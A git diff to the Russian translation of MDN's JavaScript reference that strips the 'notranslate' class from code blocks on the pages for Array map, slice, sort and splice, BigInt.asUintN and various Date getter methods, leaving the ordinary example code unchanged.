b/files/ru/web/javascript/reference/global_objects/array/map/index.html index a5ac485843..226fe12470 100644 --- a/files/ru/web/javascript/reference/global_objects/array/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/map <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) { +<pre class="syntaxbox">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) { // Возвращает элемент для new_array }[, <var>thisArg</var>])</pre> @@ -69,7 +69,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/map <p>Следующий код берёт массив чисел и создаёт новый массив, содержащий квадратные корни чисел из первого массива.</p> -<pre class="brush: js notranslate">var numbers = [1, 4, 9]; +<pre class="brush: js">var numbers = [1, 4, 9]; var roots = numbers.map(Math.sqrt); // теперь roots равен [1, 2, 3], а numbers всё ещё равен [1, 4, 9] </pre> @@ -78,7 +78,7 @@ var roots = numbers.map(Math.sqrt); <p>Следующий код показывает, как работает отображение, когда функция требует один аргумент. Аргумент будет автоматически присваиваться каждому элементу массива, когда <code>map</code> проходит по оригинальному массиву.</p> -<pre class="brush: js notranslate">var numbers = [1, 4, 9]; +<pre class="brush: js">var numbers = [1, 4, 9]; var doubles = numbers.map(function(num) { return num * 2; }); @@ -89,7 +89,7 @@ var doubles = numbers.map(function(num) { <p>Этот пример показывает, как использовать <code>map</code> на объекте строки {{jsxref("Global_Objects/String", "String")}} для получения массива байт в кодировке ASCII, представляющего значения символов:</p> -<pre class="brush: js notranslate">var map = Array.prototype.map; +<pre class="brush: js">var map = Array.prototype.map; var a = map.call('Hello World', function(x) { return x.charCodeAt(0); }); // теперь a равен [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100] </pre> @@ -98,7 +98,7 @@ var a = map.call('Hello World', function(x) { return x.charCodeAt(0); }); <p>Этот пример показывает, как пройтись по коллекции объектов, собранных с помощью <code>querySelectorAll</code>. В данном случае мы получаем все выбранные опции на экране и печатаем их в консоль:</p> -<pre class="brush: js notranslate">var elems = document.querySelectorAll('select option:checked'); +<pre class="brush: js">var elems = document.querySelectorAll('select option:checked'); var values = [].map.call(elems, function(obj) { return obj.value; }); @@ -108,7 +108,7 @@ var values = [].map.call(elems, function(obj) { <h3 id="Example_Using_map_to_reverse_a_string">Пример: использование <code>map</code> для переворачивания строки</h3> -<pre class="brush: js notranslate">var str = '12345'; +<pre class="brush: js">var str = '12345'; [].map.call(str, function(x) { return x; }).reverse().join(''); @@ -125,7 +125,7 @@ var values = [].map.call(elems, function(obj) { <p>Распространённой практикой является использование колбэк-функции с одним аргументом (элемент, над которым производится операция). Некоторые функции также широко используется с одним аргументом, хотя они принимают дополнительные необязательные аргументы. Эти привычки могут привести к неожиданному поведению программы.</p> -<pre class="brush: js notranslate">// Рассмотрим пример: +<pre class="brush: js">// Рассмотрим пример: ['1', '2', '3'].map(parseInt); // Хотя ожидаемый результат вызова равен [1, 2, 3], // в действительности получаем [1, NaN, NaN] @@ -152,7 +152,7 @@ function returnInt(element) { <p>Метод <code>map</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>map</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/TypeError", "TypeError")}} и {{jsxref("Global_Objects/Array", "Array")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call")}}.</p> -<pre class="brush: js notranslate">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.19 +<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.19 // Ссылка (en): http://es5.github.com/#x15.4.4.19 // Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.19 if (!Array.prototype.map) { diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html index d5c9f8b897..86299563c0 100644 --- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre> +<pre class="syntaxbox"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -56,7 +56,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h3 id="Example_Return_a_portion_of_an_existing_array">Пример: возврат части существующего массива</h3> -<pre class="brush: js notranslate">// Пример: наши хорошие друзья цитрусовые среди фруктов +<pre class="brush: js">// Пример: наши хорошие друзья цитрусовые среди фруктов var fruits = ['Банан', 'Апельсин', 'Лимон', 'Яблоко', 'Манго']; var citrus = fruits.slice(1, 3); @@ -67,7 +67,7 @@ var citrus = fruits.slice(1, 3); <p>В следующем примере метод <code>slice()</code> создаёт новый массив, <code>newCar</code>, из массива <code>myCar</code>. Оба содержат ссылку на объект <code>myHonda</code>. Когда цвет в объекте <code>myHonda</code> изменяется на багровый, оба массива замечают это изменение.</p> -<pre class="brush: js notranslate">// Используя slice, создаём newCar из myCar. +<pre class="brush: js">// Используя slice, создаём newCar из myCar. var myHonda = { color: 'красный', wheels: 4, engine: { cylinders: 4, size: 2.2 } }; var myCar = [myHonda, 2, 'в хорошем состоянии', 'приобретена в 1997']; var newCar = myCar.slice(0, 2); @@ -90,7 +90,7 @@ console.log('newCar[0].color = ' + newCar[0].color); <p>Этот скрипт выведет:</p> -<pre class="brush: js notranslate">myCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2, +<pre class="brush: js">myCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2, 'в хорошем состоянии', 'приобретена в 1997'] newCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2] myCar[0].color = красный @@ -104,7 +104,7 @@ newCar[0].color = багровый <p>Метод <code>slice()</code> также может использоваться для преобразования массивоподобных объектов / коллекций в новый массив <code>Array</code>. Вам просто нужно привязать метод к объекту. Псевдомассив {{jsxref("Functions_and_function_scope/arguments", "arguments")}} внутри функции как раз является примером «массивоподобного объекта».</p> -<pre class="brush: js notranslate">function list() { +<pre class="brush: js">function list() { return Array.prototype.slice.call(arguments, 0); } @@ -113,7 +113,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <p>Привязка может быть осуществлена посредством функции .<code>call()</code> из прототипа функции {{jsxref("Function.prototype")}}, также запись может быть сокращена до <code>[].slice.call(arguments)</code> вместо использования <code>Array.prototype.slice.call()</code>. В любом случае, она может быть упрощена посредством использования функции {{jsxref("Function.prototype.bind()", "bind()")}}.</p> -<pre class="brush: js notranslate">var unboundSlice = Array.prototype.slice; +<pre class="brush: js">var unboundSlice = Array.prototype.slice; var slice = Function.prototype.call.bind(unboundSlice); function list() { @@ -127,7 +127,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <p>Хотя спецификация не требует от хост-объектов (например, объектов DOM) следовать поведению Mozilla при преобразовании с помощью <code>Array.prototype.slice()</code> и IE < 9 так не делает, версии IE, начиная с 9-й это умеют. «Прокладывание» позволяет добиться надёжного кросс-браузерного поведения. Пока другие современные браузеры будут поддерживать эту способность, что и делают в настоящее время IE, Mozilla, Chrome, Safari и Opera, разработчики, читая (поддерживающий DOM) код функции <code>slice()</code>, опирающийся на эту прокладку, не будут вводиться в заблуждение его семантикой; они могут смело полагаться на текущую семантику, являющуюся, видимо, <em>де-факто</em> стандартным поведением. (Прокладка также исправляет поведение IE, позволяя работать со вторым аргументом <code>slice()</code>, явно определённым как {{jsxref("Global_Objects/null", "null")}}/{{jsxref("Global_Objects/undefined", "undefined")}}, поскольку более ранние версии IE такое не позволяют, но все современные браузеры, в том числе IE >= 9, поддерживают данное поведение.)</p> -<pre class="brush: js notranslate">/** +<pre class="brush: js">/** * Прокладка для "исправления" отсутствия поддержки в IE < 9 применения slice * к хост-объектам вроде NamedNodeMap, NodeList и HTMLCollection * (технически, поскольку хост-объекты зависят от реализации, diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html index 6408c3d51f..a1ddae9c5c 100644 --- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre> +<pre class="syntaxbox"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <p>Если функция сравнения <code>compareFunction</code> не предоставляется, элементы сортируются путём преобразования их в строки и сравнения строк в порядке следования кодовых точек Unicode. Например, слово "Вишня" идёт перед словом "бананы". При числовой сортировке, 9 идёт перед 80, но поскольку числа преобразуются в строки, то "80" идёт перед "9" в соответствии с порядком в Unicode.</p> -<pre class="brush: js notranslate">var fruit = ['арбузы', 'бананы', 'Вишня']; +<pre class="brush: js">var fruit = ['арбузы', 'бананы', 'Вишня']; fruit.sort(); // ['Вишня', 'арбузы', 'бананы'] var scores = [1, 2, 10, 21]; @@ -56,7 +56,7 @@ things.sort(); // ['1 Слово', '2 Слова', 'Слово', 'слово'] <p>Итак, функция сравнения имеет следующую форму:</p> -<pre class="brush: js notranslate">function compare(a, b) { +<pre class="brush: js">function compare(a, b) { if (a меньше b по некоторому критерию сортировки) { return -1; } @@ -70,14 +70,14 @@ things.sort(); // ['1 Слово', '2 Слова', 'Слово', 'слово'] <p>Для числового сравнения, вместо строкового, функция сравнения может просто вычитать <code>b</code> из <code>a</code>. Следующая функция будет сортировать массив по возрастанию:</p> -<pre class="brush: js notranslate">function compareNumbers(a, b) { +<pre class="brush: js">function compareNumbers(a, b) { return a - b; } </pre> <p>Метод <code>sort</code> можно удобно использовать с {{jsxref("Operators/function", "функциональными выражениями", "", 1)}} (и <a href="/ru/docs/Web/JavaScript/Guide/Closures">замыканиями</a>):</p> -<pre class="brush: js notranslate">var numbers = [4, 2, 5, 1, 3]; +<pre class="brush: js">var numbers = [4, 2, 5, 1, 3]; numbers.sort(function(a, b) { return a - b; }); @@ -86,7 +86,7 @@ console.log(numbers); // [1, 2, 3, 4, 5] <p>Объекты могут быть отсортированы по значению одного из своих свойств.</p> -<pre class="brush: js notranslate">var items = [ +<pre class="brush: js">var items = [ { name: 'Edward', value: 21 }, { name: 'Sharpe', value: 37 }, { name: 'And', value: 45 }, @@ -112,7 +112,7 @@ items.sort(function (a, b) { <p>В следующем примере создаётся четыре массива, сначала отображается первоначальный массив, а затем они сортируются. Числовые массивы сортируются сначала без, а потом с функцией сравнения.</p> -<pre class="brush: js notranslate">var stringArray = ['Голубая', 'Горбатая', 'Белуга']; +<pre class="brush: js">var stringArray = ['Голубая', 'Горбатая', 'Белуга']; var numericStringArray = ['80', '9', '700']; var numberArray = [40, 1, 5, 200]; var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200]; @@ -140,7 +140,7 @@ console.log('Сортировка с функцией compareNumbers:', mixedNum <p>Этот пример произведёт следующий вывод. Как показывает вывод, когда используется функция сравнения, числа сортируются корректно вне зависимости от того, являются ли они собственно числами или строками с числами.</p> -<pre class="notranslate">stringArray: Голубая,Горбатая,Белуга +<pre>stringArray: Голубая,Горбатая,Белуга Сортировка: Белуга,Голубая,Горбатая numberArray: 40,1,5,200 @@ -160,7 +160,7 @@ mixedNumericArray: 80,9,700,40,1,5,200 <p>Для сортировки строк с не-ASCII символами, то есть строк с символами акцента (e, é, è, a, ä и т.д.), строк, с языками, отличными от английского: используйте {{jsxref("String.localeCompare")}}. Эта функция может сравнивать эти символы, чтобы они становились в правильном порядке.</p> -<pre class="brush: js notranslate">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; +<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; items.sort(function (a, b) { return a.localeCompare(b); }); @@ -172,7 +172,7 @@ items.sort(function (a, b) { <p>Функция сравнения <code>(compareFunction)</code> может вызываться несколько раз для каждого элемента в массиве. В зависимости от природы функции сравнения, это может привести к высоким расходам ресурсов. Чем более сложна функция сравнения и чем больше элементов требуется отсортировать, тем разумнее использовать <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> для сортировки. Идея состоит в том, чтобы обойти массив один раз, чтобы извлечь фактические значения, используемые для сортировки, во временный массив, отсортировать временный массив, а затем обойти временный массив для получения правильного порядка.</p> -<pre class="brush: js notranslate">// массив для сортировки +<pre class="brush: js">// массив для сортировки var list = ['Дельта', 'альфа', 'ЧАРЛИ', 'браво']; // временный массив содержит объекты с позицией и значением сортировки diff --git a/files/ru/web/javascript/reference/global_objects/array/splice/index.html b/files/ru/web/javascript/reference/global_objects/array/splice/index.html index e92751abf6..e562c12bcc 100644 --- a/files/ru/web/javascript/reference/global_objects/array/splice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/splice/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>array</var>.splice(<var>start[</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]]) +<pre class="syntaxbox"><code><var>array</var>.splice(<var>start[</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]]) </code></pre> <h3 id="Parameters">Параметры</h3> @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice <h3 id="Удаляет_0_элементов_по_индексу_2_и_вставляет_drum">Удаляет 0 элементов по индексу 2 и вставляет "drum"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(2, 0, 'drum'); // myFish равен ["angel", "clown", "drum", "mandarin", "sturgeon"] @@ -52,7 +52,7 @@ var removed = myFish.splice(2, 0, 'drum'); <h3 id="Удаляет_1_элемент_по_индексу_3">Удаляет 1 элемент по индексу 3</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; var removed = myFish.splice(3, 1); // removed равен ["mandarin"] @@ -60,7 +60,7 @@ var removed = myFish.splice(3, 1); <h3 id="Удаляет_1_элемент_по_индексу_2_и_вставляет_trumpet">Удаляет 1 элемент по индексу 2 и вставляет "trumpet"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon']; var removed = myFish.splice(2, 1, 'trumpet'); // myFish равен ["angel", "clown", "trumpet", "sturgeon"] @@ -68,7 +68,7 @@ var removed = myFish.splice(2, 1, 'trumpet'); <h3 id="Удаляет_2_элемента_начиная_с_индекса_0_и_вставляет_parrot_anemone_и_blue">Удаляет 2 элемента начиная с индекса 0 и вставляет "parrot", "anemone" и "blue"</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon']; var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); // myFish равен ["parrot", "anemone", "blue", "trumpet", "sturgeon"] @@ -76,7 +76,7 @@ var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue'); <h3 id="Удаляет_2_элемента_начиная_с_индекса_2">Удаляет 2 элемента начиная с индекса 2</h3> -<pre class="brush: js notranslate">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; +<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon']; var removed = myFish.splice(myFish.length - 3, 2); // myFish равен ["parrot", "anemone", "sturgeon"] @@ -84,7 +84,7 @@ var removed = myFish.splice(myFish.length - 3, 2); <h3 id="Удаляет_1_элемент_по_индексу_-2">Удаляет 1 элемент по индексу -2</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(-2, 1); // myFish равен ["angel", "clown", "sturgeon"] @@ -92,7 +92,7 @@ var removed = myFish.splice(-2, 1); <h3 id="Удаляет_все_элементы_после_индекса_2_включительно">Удаляет все элементы после индекса 2 (включительно)</h3> -<pre class="brush: js notranslate">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; var removed = myFish.splice(2); // myFish равен ["angel", "clown"] diff --git a/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html index 6f3c09ba56..98395a3c5c 100644 --- a/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html +++ b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">BigInt.asUintN(<var>width</var>, <var>bigint</var>);</pre> +<pre class="syntaxbox">BigInt.asUintN(<var>width</var>, <var>bigint</var>);</pre> <h3 id="Parameters">Parameters</h3> @@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN <p>The <code>BigInt.asUintN()</code> method can be useful to stay in the range of 64-bit arithmetic.</p> -<pre class="brush: js notranslate">const max = 2n ** 64n - 1n; +<pre class="brush: js">const max = 2n ** 64n - 1n; BigInt.asUintN(64, max); // ↪ 18446744073709551615n diff --git a/files/ru/web/javascript/reference/global_objects/date/getdate/index.html b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html index 52e0d9eefa..9c6667995c 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getdate/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDate()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate <p>Вторая инструкция в примере ниже присваивает значение 25 переменной <code>day</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let day = date.getDate(); console.log(day); // 25 diff --git a/files/ru/web/javascript/reference/global_objects/date/getday/index.html b/files/ru/web/javascript/reference/global_objects/date/getday/index.html index 654e43455f..c2c2bd4e8a 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getday/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getday/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDay()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay <p>Вторая инструкция в примере ниже присваивает значение 1 переменной <code>weekday</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>. 25 декабря 1995 года было понедельником.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let weekday = date.getDay(); console.log(weekday); // 1 @@ -42,7 +42,7 @@ console.log(weekday); // 1 <div class="blockIndicator note"> <p><strong>Примечание:</strong> При необходимости полное название дня (например, "<code>Понедельник</code>") можно получить, используя {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} с параметром <code>options</code> parameter. С помощью этого метода упрощается интернационализация:</p> -<pre class="brush: js notranslate">let options = { weekday: 'long'}; +<pre class="brush: js">let options = { weekday: 'long'}; console.log(new Intl.DateTimeFormat('en-US', options).format(date)); // Monday diff --git a/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html index 5a7d09c7bf..60aeb1a1ac 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getFullYear()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear <p>В следующем примере переменной <code>year</code> присваивается четырёхзначное значение текущего года.</p> -<pre class="brush: js notranslate">let today = new Date(); // Mon Nov 23 2020 15:23:46 GMT+0300 (Москва, стандартное время) +<pre class="brush: js">let today = new Date(); // Mon Nov 23 2020 15:23:46 GMT+0300 (Москва, стандартное время) let year = today.getFullYear(); // 2020 </pre> diff --git a/files/ru/web/javascript/reference/global_objects/date/gethours/index.html b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html index 4e927a3454..2f0c788d1a 100644 --- a/files/ru/web/javascript/reference/global_objects/date/gethours/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getHours()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours <p>Вторая инструкция в примере ниже присваивает значение 23 переменной <code>hours</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let hours = date.getHours(); console.log(hours); // 23 diff --git a/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html index 4d848fc5e8..3d9d51b204 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMilliseconds()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds <p>В следующем примере переменной <code>milliseconds</code> присваиваются миллисекунды текущего времени:</p> -<pre class="brush: js notranslate">let today = new Date(); +<pre class="brush: js">let today = new Date(); let milliseconds = today.getMilliseconds(); console.log(milliseconds); // 709 diff --git a/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html index 533cba2dc5..0b97f5e1f7 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMinutes()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes <p>Вторая инструкция в примере ниже присваивает значение 15 переменной <code>minutes</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let minutes = date.getMinutes(); console.log(minutes); // 15 diff --git a/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html index 5b42ea933a..001f258a2c 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMonth()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth <p>Вторая инструкция в примере ниже присваивает значение 11 переменной <code>month</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let month = date.getMonth(); console.log(month); // 11 diff --git a/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html index 6027da393b..e2e5fecaac 100644 --- a/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getSeconds()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds <p>Вторая инструкция в примере ниже присваивает значение 30 переменной <code>seconds</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p> -<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30'); +<pre class="brush: js">let date = new Date('December 25, 1995 23:15:30'); let seconds = date.getSeconds(); console.log(seconds); // 30 diff --git a/files/ru/web/javascript/reference/global_objects/date/gettime/index.html b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html index 8f380c6208..f4b2c740b6 100644 --- a/files/ru/web/javascript/reference/global_objects/date/gettime/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getTime()</code></pre> +<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre> <h3 id="Parameters">Параметры</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime <p>Конструирует новый объект даты с идентичным значением времени.</p> -<pre class="brush: js notranslate">let birthday = new Date(2020, 12, 20); +<pre class="brush: js">let birthday = new Date(2020, 12, 20); let copy = new Date(); copy.setTime(birthday.getTime()); @@ -50,7 +50,7 @@ console.log(copy.setTime(birthday.getTime())); // 1611090000000 <p>Вычитанием двух последовательных вызовов метода <code>getTime()</code> на заново сконструированных объектах {{jsxref("Global_Objects/Date", "Date")}} можно замерить промежуток времени, произошедший между двумя этими вызовами. Это можно использовать для вычисления времени выполнения неких операций.</p> -<pre class="brush: js notranslate">let end, start; +<pre class="brush: js">let end, start; start = new Date(); for (let i = 0; i < 1000; i++) { diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html index bf3ce884dd..0f8ddf6b79 100644 --- a/files/ru/web/javascript/reference/global_objects/date/index.html +++ b/files/ru/web/javascript/reference/global_objects/date/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new Date(); +<pre class="syntaxbox"><code>new Date(); new Date(<var>value</var>); new Date(<var>dateString</var>); new Date(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]]); @@ -118,7 +118,7 @@ new Date(<var>year</var>, 